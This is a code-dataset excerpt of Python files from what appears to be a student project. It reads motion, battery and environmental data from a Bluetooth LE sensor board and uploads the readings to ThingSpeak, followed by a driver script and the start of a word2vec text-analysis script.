urlopen(thingspeakHttp15)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n ##Battery delegate \n elif (hnd == battery_handle):\n data = bytearray(data)\n battery_value = data[0]\n print(\"A notification was received -> Battery:\", battery_value, \"%\")\n \n ##UI delegate\n elif (hnd == button_handle):\n data = bytearray(data)\n button = data[0]\n print(\"A notification was received -> Button[1-> pressed]: \", button)\n \n thingspeakHttp6 = BASE_URL + \"&field8={:}\".format(button)\n conn = urlopen(thingspeakHttp6)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n ##Motion delegate\n elif (hnd == tap_handle):\n \n data = bytearray(data)\n tap = data[0]\n count = data[1]\n if tap == 0x01:\n print(\"A notification was received -> TAP_X_UP, count: \", count)\n elif tap == 0x02:\n print(\"A notification was received -> TAP_X_DOWN, count: \", count)\n elif tap == 0x03:\n print(\"A notification was received -> TAP_Y_UP, count: \", count)\n elif tap == 0x04:\n print(\"A notification was received -> TAP_Y_DOWN, count: \", count) \n elif tap == 0x05:\n print(\"A notification was received -> TAP_Z_UP, count: \", count) \n elif tap == 0x06:\n print(\"A notification was received -> TAP_Z_DOWN, count: \", count) \n\n\n elif (hnd == orient_handle):\n data = bytearray(data)\n orientation = data[0]\n if orientation == 0x00:\n print(\"A notification was received -> Orientation: Portrait \")\n elif orientation == 0x01:\n print(\"A notification was received -> Orientation: Landscape \")\n elif orientation == 0x02:\n print(\"A notification was received -> Orientation: Reverse Portrait \")\n elif orientation == 0x03:\n print(\"A notification was received -> Orientation: Reverse Landscape \")\n\n \n\n elif (hnd == quaternion_handle):\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[3] & 0x80:\n negative = True \n result = data[3] << 24\n result += data[2] << 16\n result += data[1] << 8\n result += data[0]\n \n w = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n w = -1. * (float(result) / 1073741823.)\n else:\n #this is positive\n w = float(result) / 1073741823.\n #~ print( \"{:.4f}\".format( resultF ))\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[7] & 0x80:\n negative = True \n result = data[7] << 24\n result += data[6] << 16\n result += data[5] << 8\n result += data[4]\n \n x = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n x = -1. * (float(result) / 1073741823.)\n else:\n #this is positive\n x = float(result) / 1073741823.\n \n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[11] & 0x80:\n negative = True \n result = data[11] << 24\n result += data[10] << 16\n result += data[9] << 8\n result += data[8]\n \n y = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n y = -1. * (float(result) / 1073741823.)\n else:\n #this is positive\n y = float(result) / 1073741823.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[15] & 0x80:\n negative = True \n result = data[15] << 24\n result += data[14] << 16\n result += data[13] << 8\n result += data[12]\n \n z = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n z = -1. * (float(result) / 1073741823.)\n else:\n #this is positive\n z = float(result) / 1073741823.\n \n print(\"A notification was received -> Quaternion(w,x,y,z): {:.2f}, {:.2f}, {:.2f}, {:.2f}\".format(w,x,y,z))\n \n\n elif (hnd == stepcount_handle):\n teptep = binascii.b2a_hex(data)\n steps = 0\n time = 0\n for i in range(0, 4):\n steps += (int(teptep[i*2:(i*2)+2], 16) << 8*i)\n for i in range(4, 8):\n time += (int(teptep[i*2:(i*2)+2], 16) << 8*(i-4))\n print(\"A notification was received -> Stepcount(steps,time): \", steps, time)\n #~ print('Notification: Step Count: {}'.format(teptep))\n\n elif (hnd == rawdata_handle):\n \n ##Accelerometer\n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[1] & 0x80:\n negative = True \n result = data[1] << 8\n result += data[0] \n \n ax = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n ax = -1. * (float(result) / 1023.)\n else:\n #this is positive\n ax = float(result) / 1023.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[3] & 0x80:\n negative = True \n result = data[3] << 8\n result += data[2] \n \n ay = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n ay = -1. * (float(result) / 1023.)\n else:\n #this is positive\n ay = float(result) / 1023.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[5] & 0x80:\n negative = True \n result = data[5] << 8\n result += data[4] \n \n az = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n az = -1. * (float(result) / 1023.)\n else:\n #this is positive\n az = float(result) / 1023.\n \n ##Gyroscope\n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[7] & 0x80:\n negative = True \n result = data[7] << 8\n result += data[6] \n \n gx = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n gx = -1. * (float(result) / 31.)\n else:\n #this is positive\n gx = float(result) / 31.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[9] & 0x80:\n negative = True \n result = data[9] << 8\n result += data[8] \n \n gy = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n gy = -1. * (float(result) / 31.)\n else:\n #this is positive\n gy = float(result) / 31.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[11] & 0x80:\n negative = True \n result = data[11] << 8\n result += data[10] \n \n gz = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n gz = -1. * (float(result) / 31.)\n else:\n #this is positive\n gz = float(result) / 31.\n \n ##Compass\n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[13] & 0x80:\n negative = True \n result = data[13] << 8\n result += data[12] \n \n cx = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n cx = -1. * (float(result) / 15.)\n else:\n #this is positive\n cx = float(result) / 15.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[15] & 0x80:\n negative = True \n result = data[15] << 8\n result += data[14] \n \n cy = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n cy = -1. * (float(result) / 15.)\n else:\n #this is positive\n cy = float(result) / 15.\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[17] & 0x80:\n negative = True \n result = data[17] << 8\n result += data[16] \n \n cz = 0.\n if negative:\n #this is negative\n result = (1 << 16) - 1 - result\n result = result+1\n cz = -1. * (float(result) / 15.)\n else:\n #this is positive\n cz = float(result) / 15.\n\n print(\"A notification was received -> Raw data: Accelerometer(G):{:.2f}, {:.2f}, {:.2f} Gyroscope(deg/s): {:.2f}, {:.2f}, {:.2f} Compass(uT): {:.2f}, {:.2f}, {:.2f}\".format(ax,ay,az,gx,gy,gz,cx,cy,cz))\n \n elif (hnd == euler_handle):\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[3] & 0x80:\n negative = True \n result = data[3] << 24\n result += data[2] << 16\n result += data[1] << 8\n result += data[0]\n \n roll = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n roll = -1. * (float(result) / 65535.)\n else:\n #this is positive\n roll = float(result) / 65535.\n #~ print( \"{:.4f}\".format( resultF ))\n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[7] & 0x80:\n negative = True \n result = data[7] << 24\n result += data[6] << 16\n result += data[5] << 8\n result += data[4]\n \n pitch = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n pitch = -1. * (float(result) / 65535.)\n else:\n #this is positive\n pitch = float(result) / 65535.\n \n \n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[11] & 0x80:\n negative = True \n result = data[11] << 24\n result += data[10] << 16\n result += data[9] << 8\n result += data[8]\n \n yaw = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n yaw = -1. * (float(result) / 65535.)\n else:\n #this is positive\n yaw = float(result) / 65535.\n \n \n print(\"A notification was received -> Euler(roll,pitch,yaw)[degrees]: {:.2f}, {:.2f}, {:.2f}\".format(roll,pitch,yaw))\n \n thingspeakHttp7 = BASE_URL_2 + \"&field1={:.2f}\".format(roll)\n conn = urlopen(thingspeakHttp7)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp8 = BASE_URL_2 + \"&field2={:.2f}\".format(pitch)\n conn = urlopen(thingspeakHttp8)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp9 = BASE_URL_2 + \"&field3={:.2f}\".format(yaw)\n conn = urlopen(thingspeakHttp9)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n\n elif (hnd == rotation_handle):\n teptep = binascii.b2a_hex(data)\n print('Notification: Rotation matrix: {}'.format(teptep))\n\n elif (hnd == heading_handle):\n #True if this is negative number \n negative = False\n result = 0\n #check oldest bit\n if data[3] & 0x80:\n negative = True \n result = data[3] << 24\n result += data[2] << 16\n result += data[1] << 8\n result += data[0]\n \n heading = 0.\n if negative:\n #this is negative\n result = (1 << 32) - 1 - result\n result = result+1\n heading = -1. * (float(result) / 65535.)\n else:\n #this is positive\n heading = float(result) / 65535.\n print(\"A notification was received -> Heading(degrees): \", heading)\n \n\n elif (hnd == gravity_handle):\n \n d2=data[0:4]\n [gx] = struct.unpack('f', d2)\n d3=data[4:8]\n [gy] = struct.unpack('f', d3)\n d4=data[8:12]\n [gz] = struct.unpack('f', d4)\n \n print(\"A notification was received -> Gravity(x,y,z): {:.2f}, {:.2f}, {:.2f}\".format(gx,gy,gz))\n \n thingspeakHttp10 = BASE_URL_2 + \"&field1={:.2f}\".format(roll)\n conn = urlopen(thingspeakHttp10)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp11 = BASE_URL_2 + \"&field2={:.2f}\".format(pitch)\n conn = urlopen(thingspeakHttp11)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n thingspeakHttp12 = BASE_URL_2 + \"&field3={:.2f}\".format(yaw)\n conn = urlopen(thingspeakHttp12)\n print(\"Response: {}\".format(conn.read()))\n conn.close()\n \n\n \n \n \n \nclass EnvironmentService():\n \n ##Environment service module. Instance the class and enable to get access to the Environment interface.\n serviceUUID = ENVIRONMENT_SERVICE_UUID\n temperature_char_uuid = TEMPERATURE_CHAR_UUID\n pressure_char_uuid = PRESSURE_CHAR_UUID\n humidity_char_uuid = HUMIDITY_CHAR_UUID\n gas_char_uuid = GAS_CHAR_UUID\n color_char_uuid = COLOR_CHAR_UUID\n config_char_uuid = CONFIG_CHAR_UUID\n\n def __init__(self, periph):\n self.periph = periph\n self.environment_service = None\n self.temperature_char = None\n self.temperature_cccd = None\n self.pressure_char = None\n self.pressure_cccd = None\n self.humidity_char = None\n self.humidity_cccd = None\n self.gas_char = None\n self.gas_cccd = None\n self.color_char = None\n self.color_cccd = None\n self.config_char = None\n\n def enable(self):\n ##Enables the class by finding the service and its characteristics. \n\n global temperature_handle\n global pressure_handle\n global humidity_handle\n global gas_handle\n global color_handle\n\n\n if self.environment_service is None:\n self.environment_service = self.periph.getServiceByUUID(self.serviceUUID)\n if self.temperature_char is None:\n self.temperature_char = self.environment_service.getCharacteristics(self.temperature_char_uuid)[0]\n temperature_handle = self.temperature_char.getHandle()\n self.temperature_cccd = self.temperature_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.pressure_char is None:\n self.pressure_char = self.environment_service.getCharacteristics(self.pressure_char_uuid)[0]\n pressure_handle = self.pressure_char.getHandle()\n self.pressure_cccd = self.pressure_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.humidity_char is None:\n self.humidity_char = self.environment_service.getCharacteristics(self.humidity_char_uuid)[0]\n humidity_handle = self.humidity_char.getHandle()\n self.humidity_cccd = self.humidity_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.gas_char is None:\n self.gas_char = self.environment_service.getCharacteristics(self.gas_char_uuid)[0]\n gas_handle = self.gas_char.getHandle()\n self.gas_cccd = self.gas_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.color_char is None:\n self.color_char = self.environment_service.getCharacteristics(self.color_char_uuid)[0]\n color_handle = self.color_char.getHandle()\n self.color_cccd = self.color_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.config_char is None:\n self.config_char = self.environment_service.getCharacteristics(self.config_char_uuid)[0]\n\n def set_temperature_notification(self, state):\n ## Enable/Disable Temperature Notifications\n if self.temperature_cccd is not None:\n if state == True:\n self.temperature_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.temperature_cccd.write(b\"\\x00\\x00\", True)\n\n def set_pressure_notification(self, state):\n ## Enable/Disable Pressure Notifications\n if self.pressure_cccd is not None:\n if state == True:\n self.pressure_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.pressure_cccd.write(b\"\\x00\\x00\", True)\n\n def set_humidity_notification(self, state):\n ## Enable/Disable Humidity Notifications\n if self.humidity_cccd is not None:\n if state == True:\n self.humidity_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.humidity_cccd.write(b\"\\x00\\x00\", True) \n \n def set_gas_notification(self, state):\n ## Enable/Disable Gas Notifications\n if self.gas_cccd is not None:\n if state == True:\n self.gas_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.gas_cccd.write(b\"\\x00\\x00\", True)\n\n def set_color_notification(self, state):\n ## Enable/Disable Color Notifications\n if self.color_cccd is not None:\n if state == True:\n self.color_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.color_cccd.write(b\"\\x00\\x00\", True)\n \n def configure(self, temp_int=None, press_int=None, humid_int=None, gas_mode_int=None,\n color_int=None, color_sens_calib=None):\n if temp_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, temp_int, 0)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if press_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, press_int, 1)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if humid_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, humid_int, 2)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if gas_mode_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint8(current_config, gas_mode_int, 8)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if color_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, color_int, 3)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if color_sens_calib is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint8(current_config, color_sens_calib[0], 9)\n new_config = write_uint8(current_config, color_sens_calib[1], 10)\n new_config = write_uint8(current_config, color_sens_calib[2], 11)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n \n \n def disable(self):\n ## Disable Environment Notifications\n self.set_temperature_notification(False)\n self.set_pressure_notification(False)\n self.set_humidity_notification(False)\n self.set_gas_notification(False)\n self.set_color_notification(False)\n \n \nclass BatterySensor():\n \n ##Battery Service module. Instance the class and enable to get access to Battery interface.\n \n svcUUID = UUID(BATTERY_SERVICE_UUID) # Ref https://www.bluetooth.com/specifications/gatt/services \n dataUUID = UUID(BATTERY_LEVEL_UUID) # Ref https://www.bluetooth.com/specifications/gatt/characteristics\n\n def __init__(self, periph):\n self.periph = periph\n self.service = None\n self.data = None\n self.data_cccd = None\n\n def enable(self):\n ##Enables the class by finding the service and its characteristics. \n \n global battery_handle\n \n if self.service is None:\n self.service = self.periph.getServiceByUUID(self.svcUUID)\n if self.data is None:\n self.data = self.service.getCharacteristics(self.dataUUID)[0]\n battery_handle = self.data.getHandle()\n self.data_cccd = self.data.getDescriptors(forUUID=CCCD_UUID)[0]\n\n def b_read(self):\n ## Returns the battery level in percent \n val = ord(self.data.read())\n return val\n\n def set_battery_notification(self, state):\n ## Enable/Disable Battery Notifications\n if self.data_cccd is not None:\n if state == True:\n self.data_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.data_cccd.write(b\"\\x00\\x00\", True)\n\n def disable(self):\n ## Disable Battery Notifications\n self.set_battery_notification(False)\n\nclass UserInterfaceService():\n \"\"\"\n User interface service module. Instance the class and enable to get access to the UI interface.\n \"\"\"\n serviceUUID = USER_INTERFACE_SERVICE_UUID\n led_char_uuid = LED_CHAR_UUID\n btn_char_uuid = BUTTON_CHAR_UUID\n # To be added: EXT PIN CHAR\n\n def __init__(self, periph):\n self.periph = periph\n self.ui_service = None\n self.led_char = None\n self.btn_char = None\n self.btn_char_cccd = None\n # To be added: EXT PIN CHAR\n\n def enable(self):\n \"\"\" Enables the class by finding the service and its characteristics. \"\"\"\n global button_handle\n\n if self.ui_service is None:\n self.ui_service = self.periph.getServiceByUUID(self.serviceUUID)\n if self.led_char is None:\n self.led_char = self.ui_service.getCharacteristics(self.led_char_uuid)[0]\n if self.btn_char is None:\n self.btn_char = self.ui_service.getCharacteristics(self.btn_char_uuid)[0]\n button_handle = self.btn_char.getHandle()\n self.btn_char_cccd = self.btn_char.getDescriptors(forUUID=CCCD_UUID)[0]\n\n def set_led_mode_off(self):\n self.led_char.write(b\"\\x00\", True)\n \n def set_led_mode_constant(self, r, g, b):\n teptep = \"01{:02X}{:02X}{:02X}\".format(r, g, b)\n self.led_char.write(binascii.a2b_hex(teptep), True)\n \n def set_led_mode_breathe(self, color, intensity, delay):\n \"\"\"\n Set LED to breathe mode.\n color has to be within 0x01 and 0x07\n intensity [%] has to be within 1-100\n delay [ms] has to be within 1 ms - 10 s\n \"\"\"\n teptep = \"02{:02X}{:02X}{:02X}{:02X}\".format(color, intensity,\n delay & 0xFF, delay >> 8)\n self.led_char.write(binascii.a2b_hex(teptep), True)\n \n def set_led_mode_one_shot(self, color, intensity): \n \"\"\"\n Set LED to one shot mode.\n color has to be within 0x01 and 0x07\n intensity [%] has to be within 1-100\n \"\"\"\n teptep = \"03{:02X}{:02X}\".format(color, intensity)\n self.led_char.write(binascii.a2b_hex(teptep), True)\n\n def set_button_notification(self, state):\n if self.btn_char_cccd is not None:\n if state == True:\n self.btn_char_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.btn_char_cccd.write(b\"\\x00\\x00\", True)\n\n def disable(self):\n set_button_notification(False)\n\nclass MotionService():\n \n ##Motion service module. Instance the class and enable to get access to the Motion interface.\n \n serviceUUID = MOTION_SERVICE_UUID\n config_char_uuid = M_CONFIG_CHAR_UUID\n tap_char_uuid = TAP_CHAR_UUID\n orient_char_uuid = ORIENTATION_CHAR_UUID\n quaternion_char_uuid = QUATERNION_CHAR_UUID\n stepcnt_char_uuid = STEP_COUNTER_CHAR_UUID\n rawdata_char_uuid = RAW_DATA_CHAR_UUID\n euler_char_uuid = EULER_CHAR_UUID\n rotation_char_uuid = ROTATION_MATRIX_CHAR_UUID\n heading_char_uuid = HEADING_CHAR_UUID\n gravity_char_uuid = GRAVITY_VECTOR_CHAR_UUID\n\n def __init__(self, periph):\n self.periph = periph\n self.motion_service = None\n self.config_char = None\n self.tap_char = None\n self.tap_char_cccd = None\n self.orient_char = None\n self.orient_cccd = None\n self.quaternion_char = None\n self.quaternion_cccd = None\n self.stepcnt_char = None\n self.stepcnt_cccd = None\n self.rawdata_char = None\n self.rawdata_cccd = None\n self.euler_char = None\n self.euler_cccd = None\n self.rotation_char = None\n self.rotation_cccd = None\n self.heading_char = None\n self.heading_cccd = None\n self.gravity_char = None\n self.gravity_cccd = None\n\n def enable(self):\n ##Enables the class by finding the service and its characteristics. \n \n global tap_handle\n global orient_handle\n global quaternion_handle\n global stepcount_handle\n global rawdata_handle\n global euler_handle\n global rotation_handle\n global heading_handle\n global gravity_handle\n\n if self.motion_service is None:\n self.motion_service = self.periph.getServiceByUUID(self.serviceUUID)\n if self.config_char is None:\n self.config_char = self.motion_service.getCharacteristics(self.config_char_uuid)[0]\n if self.tap_char is None:\n self.tap_char = self.motion_service.getCharacteristics(self.tap_char_uuid)[0]\n tap_handle = self.tap_char.getHandle()\n self.tap_char_cccd = self.tap_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.orient_char is None:\n self.orient_char = self.motion_service.getCharacteristics(self.orient_char_uuid)[0]\n orient_handle = self.orient_char.getHandle()\n self.orient_cccd = self.orient_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.quaternion_char is None:\n self.quaternion_char = self.motion_service.getCharacteristics(self.quaternion_char_uuid)[0]\n quaternion_handle = self.quaternion_char.getHandle()\n self.quaternion_cccd = self.quaternion_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.stepcnt_char is None:\n self.stepcnt_char = self.motion_service.getCharacteristics(self.stepcnt_char_uuid)[0]\n stepcount_handle = self.stepcnt_char.getHandle()\n self.stepcnt_cccd = self.stepcnt_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.rawdata_char is None:\n self.rawdata_char = self.motion_service.getCharacteristics(self.rawdata_char_uuid)[0]\n rawdata_handle = self.rawdata_char.getHandle()\n self.rawdata_cccd = self.rawdata_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.euler_char is None:\n self.euler_char = self.motion_service.getCharacteristics(self.euler_char_uuid)[0]\n euler_handle = self.euler_char.getHandle()\n self.euler_cccd = self.euler_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.rotation_char is None:\n self.rotation_char = self.motion_service.getCharacteristics(self.rotation_char_uuid)[0]\n rotation_handle = self.rotation_char.getHandle()\n self.rotation_cccd = self.rotation_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.heading_char is None:\n self.heading_char = self.motion_service.getCharacteristics(self.heading_char_uuid)[0]\n heading_handle = self.heading_char.getHandle()\n self.heading_cccd = self.heading_char.getDescriptors(forUUID=CCCD_UUID)[0]\n if self.gravity_char is None:\n self.gravity_char = self.motion_service.getCharacteristics(self.gravity_char_uuid)[0]\n gravity_handle = self.gravity_char.getHandle()\n self.gravity_cccd = self.gravity_char.getDescriptors(forUUID=CCCD_UUID)[0]\n\n def set_tap_notification(self, state):\n if self.tap_char_cccd is not None:\n if state == True:\n self.tap_char_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.tap_char_cccd.write(b\"\\x00\\x00\", True)\n\n def set_orient_notification(self, state):\n if self.orient_cccd is not None:\n if state == True:\n self.orient_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.orient_cccd.write(b\"\\x00\\x00\", True)\n\n def set_quaternion_notification(self, state):\n if self.quaternion_cccd is not None:\n if state == True:\n self.quaternion_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.quaternion_cccd.write(b\"\\x00\\x00\", True)\n\n def set_stepcount_notification(self, state):\n if self.stepcnt_cccd is not None:\n if state == True:\n self.stepcnt_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.stepcnt_cccd.write(b\"\\x00\\x00\", True)\n\n def set_rawdata_notification(self, state):\n if self.rawdata_cccd is not None:\n if state == True:\n self.rawdata_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.rawdata_cccd.write(b\"\\x00\\x00\", True)\n\n def set_euler_notification(self, state):\n if self.euler_cccd is not None:\n if state == True:\n self.euler_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.euler_cccd.write(b\"\\x00\\x00\", True)\n\n def set_rotation_notification(self, state):\n if self.rotation_cccd is not None:\n if state == True:\n self.rotation_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.rotation_cccd.write(b\"\\x00\\x00\", True)\n\n def set_heading_notification(self, state):\n if self.heading_cccd is not None:\n if state == True:\n self.heading_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.heading_cccd.write(b\"\\x00\\x00\", True)\n\n def set_gravity_notification(self, state):\n if self.gravity_cccd is not None:\n if state == True:\n self.gravity_cccd.write(b\"\\x01\\x00\", True)\n else:\n self.gravity_cccd.write(b\"\\x00\\x00\", True)\n\n def configure(self, step_int=None, temp_comp_int=None, magnet_comp_int=None,\n motion_freq=None, wake_on_motion=None):\n if step_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, step_int, 0)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if temp_comp_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, temp_comp_int, 1)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if magnet_comp_int is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, magnet_comp_int, 2)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if motion_freq is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint16(current_config, motion_freq, 3)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n if wake_on_motion is not None and self.config_char is not None:\n current_config = binascii.b2a_hex(self.config_char.read())\n new_config = write_uint8(current_config, wake_on_motion, 8)\n self.config_char.write(binascii.a2b_hex(new_config), True)\n\n def disable(self):\n set_tap_notification(False)\n set_orient_notification(False)\n set_quaternion_notification(False)\n set_stepcount_notification(False)\n set_rawdata_notification(False)\n set_euler_notification(False)\n set_rotation_notification(False)\n set_heading_notification(False)\n set_gravity_notification(False)\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6242949962615967, "alphanum_fraction": 0.6498915553092957, "avg_line_length": 23.521276473999023, "blob_id": "c0d49a02dfeb7e96985c9530a2dbac429db52808", "content_id": "7ec7eb47a44a0c99e751533ae278fdd920c8b090", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2305, "license_type": "no_license", "max_line_length": 107, "num_lines": 94, "path": "/mainMotion.py", "repo_name": "Nimunex/TFG", "src_encoding": "UTF-8", "text": "##Main\n\nfrom bluepy import btle\nfrom bluepy.btle import Peripheral, DefaultDelegate\nimport os.path\nimport struct\nimport binascii\nimport sys\nimport datetime\nimport time\nfrom time import time,sleep\nimport Services\nfrom Services import EnvironmentService, BatterySensor, UserInterfaceService, MotionService, DeviceDelegate\nimport Device\nfrom Device import Device\nfrom urllib.request import urlopen\n\n\n##Mac 1: FD:88:50:58:E7:45\n##Mac 2: E4:F6:C5:F7:03:39\n\n## MAC address Device device\nglobal MAC\n\n\nif __name__ == \"__main__\":\n MAC = str(sys.argv[1])\n\n\n\n print(\"Connecting to \" + MAC)\n Device1 = Device(MAC)\n print(\"Connected...\")\n print(\"Bonding...\")\n Device1.setSecurityLevel(\"medium\")\n print(\"Bonded...\")\n\n \n print(\"Enabling Services...\")\n Device1.battery.enable()\n #~ Device1.ui.enable()\n Device1.motion.enable()\n \n\n \n Device1.setDelegate(DeviceDelegate())\n \n print('Services Enabled...')\n\n print('Battery Level(1): ', Device1.battery.b_read(), '%')\n \n \n\n \n #~ Device1.ui.set_led_mode_breathe(0x02, 50, 1000) \n ##Battery sensor\n #~ Device1.battery.set_battery_notification(True)\n\n ##UI service\n #~ Device1.ui.set_button_notification(True)\n \n ##Motion Services\n Device1.motion.configure(motion_freq=5)\n #~ Device1.motion.set_tap_notification(True)\n #~ Device1.motion.set_orient_notification(True)\n #~ Device1.motion.set_quaternion_notification(True)\n #~ Device1.motion.set_stepcount_notification(True)\n #~ Device1.motion.set_rawdata_notification(True)\n Device1.motion.set_euler_notification(True)\n #~ Device1.motion.set_rotation_notification(True)\n #~ Device1.motion.set_heading_notification(True)\n #~ Device1.motion.set_gravity_notification(True)\n\n \n \n \n\n\n try:\n while True:\n if Device1.waitForNotifications(180.0) :\n # handleNotification() was called\n continue\n print(\"Waiting...\") \n \n \n \n except KeyboardInterrupt: \n print(\"Disabling Notifications and Indications...\")\n Device1.battery.disable()\n Device1.ui.disable()\n Device1.motion.disable()\n print(\"Notifications and Indications Disabled...\")\n print(\"Device Session Finished...\")\n" } ]
4
rafunchik/shrimps
https://github.com/rafunchik/shrimps
6ab303a6b4a797f63e063721a9144ea974d615d0
b0659a9830db9f778ae4650a64f6b0ecffb07db9
1b57ea6531119b253ab72b25b4c655fc3e0ac697
refs/heads/master
2020-12-24T06:54:08.729948
2016-07-12T12:43:12
2016-07-12T12:43:12
60,504,483
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6567618250846863, "alphanum_fraction": 0.6696303486824036, "avg_line_length": 35.53845977783203, "blob_id": "0401d6230383c299fbbcf9676fbc6fcb2c9d03a6", "content_id": "463b810e6cbaef3d63bb01e1655b339fcc4d9f68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4274, "license_type": "no_license", "max_line_length": 130, "num_lines": 117, "path": "/word2vec.py", "repo_name": "rafunchik/shrimps", "src_encoding": "UTF-8", "text": "# coding=utf-8\nimport codecs\nimport re\nfrom abstract import Abstract\n\n__author__ = 'rcastro'\n\nfrom gensim.models import Word2Vec\nfrom codecs import open\nimport nltk\n#nltk.download() # Download text data sets, including stop words\nfrom nltk.corpus import stopwords # Import the stop word list\nimport numpy as np\n\n#model = Word2Vec.load_word2vec_format(\"/Users/rcastro/nltk_data/word2vec_models/GoogleNews-vectors-negative300.bin\", binary=True)\n#print(model.most_similar('Crayfish', topn=5))\n\nprint (\"get the abstracts\")\ntext = ''\ntry:\n with codecs.open('/Users/rcastro/dev/abstracts.txt', 'r', encoding='utf8') as abstracts_file:\n text = abstracts_file.read().strip()\nexcept IOError as e:\n print ('Operation failed: %s' % e.strerror)\n\nabstracts = [Abstract(x) for x in text.split(\"\\r\\n\\r\\n\")]\nnum_reviews = len(abstracts)\nclean_train_reviews = [x.text for x in 